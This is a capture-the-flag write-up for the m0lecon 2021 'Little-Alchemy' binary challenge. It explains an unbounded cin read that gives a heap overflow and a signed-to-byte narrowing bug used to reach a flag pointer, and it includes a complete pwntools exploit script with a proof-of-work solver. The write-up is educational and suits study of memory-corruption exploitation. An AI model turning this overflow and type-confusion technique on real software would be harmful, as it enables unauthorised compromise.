Tags: unintended-solution 


[Link to original writeup](https://wrecktheline.com/writeups/m0lecon-2021/#little_alchemy)

# Little-Alchemy (24 solves, 184 points)
by JaGoTu

Alchemy is a wonderful world to explore. Are you able to become a skilled scientist? We need your help to discover many mysterious elements!

nc challs.m0lecon.it 2123

Note: the flag is inside the binary, and clearly it is different on the remote server.

Author: FraLasa

We get a `littleAlchemy` file:

$ file littleAlchemy
littleAlchemy: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=88da1d6af339a52e2be34cd2085c7e1673ca813a, for GNU/Linux 3.2.0, not stripped

When running it, we get a simple element merging interface (newlines added for clarity):

$ ./littleAlchemy
Operations: [1]->Create_element [2]->Print_element [3]->Print_all [4]->Edit_element [5]->Delete_element [6]->Copy_name [7]->Exit
in which position you want to create the new element: 1
index of source 1 element: [or -1 = Water, -2 = Fire, -3 = Air, -4 = Earth]: -1
index of source 2 element: [or -1 = Water, -2 = Fire, -3 = Air, -4 = Earth]: -4
[*] created River!

Operations: [1]->Create_element [2]->Print_element [3]->Print_all [4]->Edit_element [5]->Delete_element [6]->Copy_name [7]->Exit
[1]: River

Operations: [1]->Create_element [2]->Print_element [3]->Print_all [4]->Edit_element [5]->Delete_element [6]->Copy_name [7]->Exit

There are multiple bugs in the binary, but we'll mention only those we used. The biggest one is in the Edit_element function, specifically in the `Element::customizeName()` function:

__int64 __fastcall Element::customizeName(Element *this)
return std::operator>><char,std::char_traits<char>>(&std::cin, this->name);

This is a classical unlimited read (no length provided, `this->name` is a regular `char*`) allowing us to overflow the allocated element buffer. If we allocate two elements on the heap, we can overflow from the first into the second and corrupt its structure completely.

When a new element is made using `Element::Element(ElementType type)`, its name is initialized by indexing a table of names (`elementTable`) using the element type. Here is the table as seen in IDA:

.data:00000000000060E0 ; char *elementName[9]
.data:00000000000060E0 elementName dq offset aNop ; DATA XREF: Element::Element(ElementType)+40↑o
.data:00000000000060E0 ; Element::Element(ElementType)+6E↑o
.data:00000000000060E0 ; "nop"
.data:00000000000060E8 dq offset aWater ; "Water"
.data:00000000000060F0 dq offset aFire ; "Fire"
.data:00000000000060F8 dq offset aVapor ; "Vapor"
.data:0000000000006100 dq offset aAir ; "Air"
.data:0000000000006108 dq offset aNop ; "nop"
.data:0000000000006110 dq offset aSmoke ; "Smoke"
.data:0000000000006118 dq offset aNop ; "nop"
.data:0000000000006120 dq offset aEarth ; "Earth"
.data:0000000000006128 dq offset aRiver ; "River"
.data:0000000000006130 public flag
.data:0000000000006130 ; char *flag
.data:0000000000006130 flag dq offset aPtmTheFlagIsHe
.data:0000000000006130 ; DATA XREF: Handler::Handler(void)+79↑r
.data:0000000000006130 ; Handler::Handler(void)+80↑r ...
.data:0000000000006130 ; "ptm{the flag is here!}"

Notice anything suspicious? A pointer to the flag happens to be just after `elementTable`. Therefore, if we manage to create an element with a type of 10, its name will be initialized to the flag, and we can simply print it.

We can only create new elements (and call the init function) by combining two elements. The 4 basic elements are marked as "primitive". Pseudocode of combining is like this:

new_type = ele1.type ^ ele2.type
if not new_type <= 9:
bailout("not possible")
else if new_type != 0 or !ele1.is_primitive:

Baiscally there is a special case that means that when you combine elements of the same type (and therefore `new_type = type ^ type = 0`), you get an instance of the old element and not a new one. So here I got an idea to simply use the heap overflow to craft an element with type of 10 (marked as primitive) and combine it with itself. That worked for crafting new elements with _almost_ arbitrary types, but guess what: `chr(10) = "\n"`, and therefore it was the only character I couldn't write, as it simply ended the `cin` input loop.

My second idea was that there's a lot of weird narrowing conversions, as sometimes the ElementType is a 64-bit int and sometimes just an 8-bit. The `new_type <= 9` check does a signed check, so I used the overflow to craed an element of type `2 | (1 << 63) = -9223372036854775806`.

Let's now merge that with Earth (type 8):

new_type = 8 ^ 0x8000000000000002 = 0x800000000000000A (=~ -9223372036854775798)

As the comparison uses it as a signed operand, `-9223372036854775798 <= 9` is true. But later when the element is actually constructed, this is narrowed to
`0x800000000000000A & 0xFF = 0x0A` and we get an element of type 10, which should get named to flag.

The only missing detail for our full script is that I was getting a heap corruption error, as I corrupted the heap top. This is solved by simply allocating a bunch of random elements to move the top lower, so it's not corrupted.

Complete script:

from pwn import *
from hashlib import sha256

def solvepow(p, n):
s = p.recvline()
starting = s.split(b'with ')[1][:10].decode()
s1 = s.split(b'in ')[-1][:n]
i = 0
print("Solving PoW...")
while True:
if sha256((starting+str(i)).encode('ascii')).hexdigest()[-n:] == s1.decode():
p.sendline(starting + str(i))
i += 1

def do_create(newpos, el1, el2):
io.sendlineafter('>', '1')
io.sendlineafter(':', str(newpos))
io.sendlineafter(':', str(el1))
io.sendlineafter(':', str(el2))

def get_name(pos):
io.sendlineafter('>', '2')
io.sendlineafter(':', str(pos))
return io.recvline().strip()

def do_rename(pos, newname):
io.sendlineafter('>', '4')
io.sendlineafter(':', str(pos))
io.sendlineafter(':', newname)

def do_delete(pos):
io.sendlineafter('>', '5')
io.sendlineafter(':', str(pos))

def do_copy_name(src, dst):
io.sendlineafter('>', '6')
io.sendlineafter(':', str(src))
io.sendlineafter(':', str(dst))

#io = remote('challs.m0lecon.it', 2123)
#solvepow(io, n = 5)
io = process('./littleAlchemy')
do_create(0, -1, -1)
do_create(1, 0, -4)
do_create(2, 0, -4)
do_create(3, 0, -4)
do_create(4, 0, -4)

do_rename(0, fit({
'iaaajaaa': p64(1), #is_primitive
'kaaalaaa': p64(2 | (1 << 63)), #type
}, length=128))

do_create(5, 1, -4)

$ python3 alchemy.py
[+] Opening connection to challs.m0lecon.it on port 2123: Done
Solving PoW...
[*] Closed connection to challs.m0lecon.it port 2123

Solved! Given the flag text you were probably supposed to abuse vtables.

As closing words, my theory as to what the "intended" solution was in bullet points:

* When the primitive elements are initialized, the water element is renamed to the flag.
* Combined elements use a different (bigger) structure - they also store pointers to their source elements, and they have 16 more bytes for element name.
* There is an unused `ComposedElement::showSources()` function which prints the source elements names. Calling it on anything made from the primitive Water would therefore print the flag.
* In `ElementHandler::copyName` there is a bug: before copying the name, it only checks whether the `source` element is primitive or not, and copies based on that. If you copy from `combined` to `primitive`, you will overflow the name.

So if it was not for the unlimited overflow in renaming (if the `cin` read had proper bounds), I guess you should be able to use the `copyName` to corrupt a vtable pointer of an element in such a way that calling the destructor results in calling `ComposedElement::showSources()` and get the flag that way.

Original writeup (https://wrecktheline.com/writeups/m0lecon-2021/#little_alchemy).